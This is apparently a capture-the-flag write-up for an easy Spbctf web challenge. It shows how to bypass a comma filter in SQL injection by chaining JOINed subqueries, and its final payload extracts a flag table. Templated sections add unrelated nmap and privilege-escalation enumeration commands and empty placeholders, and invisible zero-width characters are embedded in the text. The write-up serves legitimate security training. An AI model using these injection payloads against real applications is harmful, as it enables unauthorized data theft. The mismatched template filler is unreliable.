Dead or alive 6

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: commaless_union_injection, join_comma_bypass

Summary

Task: SQL injection with comma character filtered. Solution: Use JOIN technique to bypass comma filter - each subquery returns one column and JOIN combines them without commas.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260309_webkids20_websql_bypass6
• Tags: waf_bypass, SQLi, mysql, union_injection, comma_bypass
• Indicators: comma character filtered, UNION SELECT blocked due to commas, multiple columns needed without comma
• Source: 20260309_webkids20_websql_bypass6.md

Foothold

Vulnerability / Misconfiguration

1. Commaless_union_injection
2. Join_comma_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• commaless_union_injection
• join_comma_bypass
• Tags: waf_bypass, SQLi, mysql, union_injection, comma_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/SQLi/bypass6/

Comma character is filtered, preventing standard UNION SELECT with multiple columns.

Analysis

Standard UNION SELECT requires commas to enumerate columns:

UNION SELECT 1, 2, 3, flag FROM secret_table

When the comma is filtered, an alternative method is needed to create multiple columns.

Solution

JOIN technique for comma bypass

Each subquery in parentheses returns one column. JOIN combines them without using commas: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

This is equivalent to UNION SELECT 1, 2, 3, but without commas.

Payload structure

UNION SELECT * FROM 
    (SELECT 1)a 
    JOIN (SELECT 2)b 
    JOIN (SELECT flag FROM secret_table)c

Where:

• (SELECT 1)a — subquery with alias a, returns a column with value 1
• JOIN — combines results without commas
• Number of JOINs must match the number of columns in the original query minus 1

Final payload

' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT flag FROM secret_table)c--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR